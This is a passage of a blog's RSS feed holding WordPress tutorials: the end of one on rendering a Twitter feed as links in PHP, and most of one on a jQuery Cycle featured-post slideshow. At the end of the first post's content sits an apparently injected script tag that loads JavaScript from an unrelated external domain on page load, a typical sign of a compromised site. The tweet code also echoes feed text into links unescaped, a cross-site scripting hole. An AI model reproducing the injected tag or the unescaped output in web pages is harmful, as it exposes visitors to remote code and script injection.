					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;a href='&quot;</span><span style="color: #339933;">.</span> <span style="color: #000088;">$words</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;'&gt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$words</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/a&gt; &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$words</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/li&gt;&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>For starters we will explode $tweet again so we have an array that contains all the words in our tweet. Then we start a LI element to contain the tweet.</p>
<p>This is where it gets confusing. Start another foreach loop. This loop will check every word to see if the first character is equal to &#8220;@&#8221; and if it is echo an anchor tag that links to twitter.com/the_word.</p>
<p>If the first character is not &#8220;@&#8221; then it checks if the first seven characters in the word and if they are equal to &#8220;http://&#8221; then we echo an anchor that links to whatever the word is.</p>
<p>If both of those tests fail then it just echos the word with a space afterward. This foreach statement will run through this check for every word in a tweet and check for links and echo these statements back.</p>
<p>Lastly close your foreach and echo a close to your LI, end the foreach you started at the top of the script, and end the UL and your done.</p>
<h2>Implementation</h2>
<p>I had some problems getting this to work out of Wordpress default functions.php file so I made my own user-functions.php and added this code to my header.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include_once</span> <span style="color: #009900;">&#40;</span>TEMPLATEPATH <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/user-functions.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Then just call the function where you want your twitter list to appear and pass it the url for your feed and the number of tweets to display.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">	<span style="color: #000000; font-weight: bold;">&lt;?php</span> DisplayTwitterFeed<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://twitter.com/statuses/user_timeline/15374455.rss&quot;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<h2>So why is this better then the twitter badge?</h2>
<p>The default twitter badge uses script tags which will not display when a user has Javascipt disabled (a little over 10% of my visitors). This code will show up no matter what and still displays links and names of tweeters.</p>
<p>Comment with questions and problems.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/building-my-own-twitter-badge-with-rss/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Wordpress Featured Post Slideshow</title>
		<link>http://www.upsidedowncity.net/wordpress-featured-post-slideshow/</link>
		<comments>http://www.upsidedowncity.net/wordpress-featured-post-slideshow/#comments</comments>
		<pubDate>Tue, 21 Oct 2008 16:25:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web design]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[featured posts]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[JQuery Cycle]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[slideshow]]></category>
		<category><![CDATA[wp_enqueue_script]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=326</guid>
		<description><![CDATA[This post over at NETUTS a long time ago received a lot of comments that it was not animated. I thought it would be neat if I could figure out a way to animate it and now several months later, when I was working on the new theme I got around to it. I&#8217;ll show [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://nettuts.com/working-with-cmss/build-a-featured-posts-section-for-wordpress/">This</a> post over at <a href="http://nettuts.com">NETUTS</a> a long time ago received a lot of comments that it was not animated. I thought it would be neat if I could figure out a way to animate it and now several months later, when I was working on the new theme I got around to it. I&#8217;ll show you how to</p>
<ol>
<li>use <a href="http://codex.wordpress.org/Function_Reference/wp_enqueue_script">wp_enqueue_script</a> to load the <a href="http://jquery.com/">Jquery</a> that is packaged with Wordpress.</li>
<li>go over how <a href="http://www.malsup.com/jquery/cycle/">Jquery Cycle</a> works and make <a href="http://codex.wordpress.org/The_Loop">The Loop</a> generate the necessary XHTML</li>
<li>make a custom query to load only the posts we want</li>
<li>configure Jquery Cycle to run the slideshow</li>
</ol>
<p><span id="more-326"></span></p>
<h2>1. Enqueue Jquery</h2>
<p>The first thing you want to do is to get Jquery to load Wordpress comes with a version of Jquery included so its generally best to load that&gt; The function to load javascript libraries and plugins is wp_enqueue-script. The code to load the jQuery and the jQuery Cycle plugin is below</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> wp_enqueue_script<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jquery.cycle.all.min'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'/wp-content/themes/upsidedowncity_v_3/jquery.cycle.all.min.js'</span><span style="color: #339933;">,</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jquery'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;?php</span> wp_enqueue_script<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jquery_script'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'/wp-content/themes/upsidedowncity_v_3/jquery_script.js'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;?php</span> wp_head<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>You place this code right above the &#8220;wp_head();&#8221; line your header.php file. The first wp_enqueue_script calls JQuery cycle which has been uploaded in to my current theme folder. The first section is the name of the script (file name minus the .js) then the path to the script then the array holds the libraries that the script depends on (JQuery in this case).</p>
<p>The next wp_enqueue_script calles &#8220;jquery_script&#8221; which is the .js file where we can place all of our jquery.</p>
<h2>How Jquery Cycle Works</h2>
<p>Jquery Cycle is a jquery plugin build for slideshows. To make it work you give it an element and it turns every child of that element into a slide. so to make our slideshow work we need to have a div with some children and in those children will be out images and headers.</p>
<p>So we need to make a containing div with unordered lists that hold 3 images and links. These ULs are the &#8220;slides &#8221; <strong>Not</strong> the LIs.</p>
<h2>The Code</h2>
<p>Don&#8217;t get overwhelmed by the next code block. I&#8217;ll go over it.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">&lt;div id=&quot;featured_posts&quot; class=&quot;clear&quot;&gt;
&lt;a class=&quot;prev&quot;&gt;&lt;/a&gt;
&nbsp;
&lt;div class=&quot;slide_cont&quot;&gt;
&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #000088;">$containter</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$display</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #000088;">$my_query</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> WP_Query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'category_name=featured'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$my_query</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">have_posts</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$my_query</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">the_post</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$containter</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> and <span style="color: #009900;">&#40;</span><span style="color: #000088;">$display</span> <span style="color: #339933;">&gt;=</span> <span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;ul class='slides' style='display:none;'&gt;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span>  <span style="color: #009900;">&#40;</span><span style="color: #000088;">$containter</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
 	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;ul class='slides'&gt;&quot;</span><span style="color: #339933;">;</span> 
	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;
&lt;li&gt;
	&lt;h3 class=&quot;long&quot;&gt;&lt;a href=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> the_permalink<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;&gt;<span style="color: #000000; font-weight: bold;">&lt;?php</span> the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/a&gt;&lt;/h3&gt;
	&lt;a href=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> the_permalink<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;&gt;&lt;img width=&quot;260&quot; height=&quot;120&quot; src=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #000088;">$values</span> <span style="color: #339933;">=</span> get_post_custom_values<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'featured'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$values</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; alt='<span style="color: #000000; font-weight: bold;">&lt;?php</span> the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span> Thumbnail Image' /&gt;&lt;/a&gt;
&lt;/li&gt;
&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #000088;">$containter</span><span style="color: #339933;">++;</span> 
<span style="color: #000088;">$display</span><span style="color: #339933;">++;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$containter</span> <span style="color: #339933;">&gt;=</span> <span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/ul&gt;&quot;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$containter</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;
		<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">endwhile</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;/div&gt; &lt;!-- end #slide_cont --&gt;
&nbsp;
&lt;a class=&quot;next&quot;&gt;&lt;/a&gt;
&lt;/div&gt; &lt;!-- end #featured_posts --&gt;</pre></td></tr></table></div>

<p>Right, Starting at the top  on line 1 we begin a div to wrap this whole section with, we also end this div on line 41.</p>
<p>On line 2 we make an empty anchor tag and give it a class of &#8220;prev&#8221; this will be the button that make the slideshow go to the previous slide. There is also another anchor with a class of &#8220;next&#8221; right before the featured_posts div closes.</p>
<p>Lines 6-9 make 2 php variables called &#8220;container&#8221; and &#8220;display&#8221; later we will use these variables to control when to make our slide containers.</p>
<p>11-12 creates a new wp_query and tells to get everything from the category called &#8220;featured&#8221;. If you want your slides to be from a different category you can change that here. This also starts <a href="http://codex.wordpress.org/The_Loop">The Loop</a> and everything from here until line 37 will repeat for every post in the &#8220;featured&#8221; category.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>14
15
16
17
18
19
20
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$containter</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> and <span style="color: #009900;">&#40;</span><span style="color: #000088;">$display</span> <span style="color: #339933;">&gt;=</span> <span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;ul class='slides' style='display:none;'&gt;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span>  <span style="color: #009900;">&#40;</span><span style="color: #000088;">$containter</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
 	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;ul class='slides'&gt;&quot;</span><span style="color: #339933;">;</span> 
	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>This is code that generates the wrappers around our slides. it uses the variables from lines 6-9. Lines 15-16 say if container is equal to 1 and display is equal to or greater then 4, make an unordered list with &#8220;display:none;&#8221;. You need to have display:none; because otherwise users will see all the slides while the document is still loading and then they all get hidden.</p>
<p>The next 2 lines say if the above test fails (i.e. container is not equal to 1 <strong>and</strong> display is not equal to or greater than 4) to check if container if equal to 1 if it is them make an unordered list.</p>
<p>If both these test fail nothing happens.</p>
<p>Lines 22-25 generates the header and the images for each post. You can add the images inthe custom field section in the wordpress write panel by putting a path to image as the value and the key as &#8220;banner&#8221;. For more information you can visit</p>
<p>The PHP chunk on lines 27-30 tells php to add 1 to the value of both of out variables you will see why later.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>32
33
34
35
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$containter</span> <span style="color: #339933;">&gt;=</span> <span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/ul&gt;&quot;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$containter</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>The above php checks the &#8220;counter&#8221; variable and if it is equal to or greater then 4 it ends the unordered list that was started above when the UL was started. Then it resets container to 1 so a new list will start next time we go through the loop. If counter is not equal to or greater then 4 it does nothing.</p>
<h2>How it works</h2>
<p>Here is a visual flow for how the above loop should work.</p>
<ol>
<li>The Loop Starts.</li>
<li>The first &#8220;if&#8221; statement fires counter is equal to 1 so a visible UL is made.</li>
<li>An image and link are generated</li>
<li>Display and container now equal 2</li>
<li>the second &#8220;if&#8221; statement is checked container equal 2 so nothing happens</li>
<li>The first &#8220;if&#8221; statement fires container and display equal 2 so nothing happens</li>
<li>Another image and link is made</li>
<li>Display and container now equal 3</li>
<li>the second &#8220;if&#8221; statement is checked container equal 3 so nothing happens</li>
<li>The first &#8220;if&#8221; statement fires container and display equal 3 so nothing happens</li>
<li>Another image and link is made</li>
<li>Display and container now equal 4</li>
<li>the second &#8220;if&#8221; statement is checked container equal 4 so our first 3 links and images are wrapped in a UL. Counter now equals 1</li>
<li>The first &#8220;if&#8221; statement fires container equals 1 and display equals 4 so a hidden UL is made</li>
<li>An image and link are generated</li>
<li>Display equals 5 and container equals 2</li>
<li> Ect&#8230;</li>
</ol>
<p>What we have now is a DIV that contains unordered lists. each list contains a set of three posts</p>
<h2>Make Cycle Work With Our Loop</h2>
<p>Now we have our loop configured and it is generating XHTML like the following.</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;slide_cont&quot;</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;</span><span style="color: #808080; font-style: italic;">&lt;!--Loop Stuff --&gt;</span><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;</span><span style="color: #808080; font-style: italic;">&lt;!--Loop Stuff --&gt;</span><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;</span><span style="color: #808080; font-style: italic;">&lt;!--Loop Stuff --&gt;</span><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;</span><span style="color: #808080; font-style: italic;">&lt;!--Loop Stuff --&gt;</span><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;</span><span style="color: #808080; font-style: italic;">&lt;!--Loop Stuff --&gt;</span><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;</span><span style="color: #808080; font-style: italic;">&lt;!--Loop Stuff --&gt;</span><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></pre></div></div>

<p>Now in the jquery_script.js file in out theme folder we can insert the following example from the Cycle documentation.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">jQuery<span style="color: #009900;">&#40;</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">ready</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>$<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.slide_cont'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">cycle</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>
    fx<span style="color: #339933;">:</span> <span style="color: #3366CC;">'scrollDown'</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Notice that I did not call JQuery with the $ shortcut. By default the jQuery included with wordpress uses  jQuery.noConflict( ) so it does not interfere with the Prototype library. Hence using the different (document).ready(function) is needed. You can read more about noConflict <a href="http://docs.jquery.com/Using_jQuery_with_Other_Libraries">here</a>.</p>
<p><strong>Note I use a slightly different cycle on my web page that adds previous and next controls. and adds several other parameters. I also use CSS buttons to make those empty anchors in the previous and next buttons.</strong></p>
<h2>Style Your Slideshow</h2>
<p>Cycle works best when you fix all of your elements widths and heights. Below are the styles that I have applied to my sideshow</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*Featured Post Slide Show*/</span>
<span style="color: #cc00cc;">#featured_posts</span><span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">960px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">margin-left</span><span style="color: #00AA00;">:</span><span style="color: #933;">-10px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span><span style="color: #933;">140px</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #cc00cc;">#featured_posts</span> h3<span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">12px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">255px</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #cc00cc;">#featured_posts</span> ul<span style="color: #00AA00;">&#123;</span>
&nbsp;
<span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #cc00cc;">#featured_posts</span> ul li<span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">float</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span> <span style="color: #933;">9px</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
&nbsp;
.slide_cont<span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">835px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">clear</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">float</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span> <span style="color: #933;">17px</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #6666ff;">.slide_cont</span> ul li h3 a<span style="color: #00AA00;">,</span> <span style="color: #6666ff;">.slide_cont</span> ul li h3 a<span style="color: #3333ff;">:hover</span><span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#fff</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
&nbsp;
.prev<span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span><span style="color: #993333;">block</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">35px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span><span style="color: #933;">75px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000;">'images/left_arrow.png'</span><span style="color: #00AA00;">&#41;</span> <span style="color: #993333;">no-repeat</span> <span style="color: #993333;">center</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">cursor</span><span style="color: #00AA00;">:</span><span style="color: #993333;">pointer</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">float</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span><span style="color: #933;">35px</span> <span style="color: #cc66cc;">0</span> <span style="color: #cc66cc;">0</span> <span style="color: #933;">10px</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
&nbsp;
.next<span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span><span style="color: #993333;">block</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">35px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span><span style="color: #933;">75px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000;">'images/right_arrow.png'</span><span style="color: #00AA00;">&#41;</span> <span style="color: #993333;">no-repeat</span> <span style="color: #993333;">center</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">cursor</span><span style="color: #00AA00;">:</span><span style="color: #993333;">pointer</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">float</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">right</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span><span style="color: #933;">35px</span> <span style="color: #933;">10px</span> <span style="color: #cc66cc;">0</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
&nbsp;
h1<span style="color: #00AA00;">,</span> h2<span style="color: #00AA00;">,</span> h3<span style="color: #00AA00;">,</span> h4<span style="color: #00AA00;">,</span> h5<span style="color: #00AA00;">,</span> h6<span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#fff</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#000</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">font-family</span><span style="color: #00AA00;">:</span><span style="color: #ff0000;">&quot;courier new&quot;</span><span style="color: #00AA00;">,</span>courier<span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span><span style="color: #933;">3px</span> <span style="color: #cc66cc;">0</span> <span style="color: #933;">3px</span> <span style="color: #933;">5px</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>That should give you some basic styles to get you started.</p>
<h2>Bring it all together</h2>
<p>This is where it all comes together. I made my life easy by grouping all of the PHP code for the slideshow in featured_post_slideshow.php and used</p>

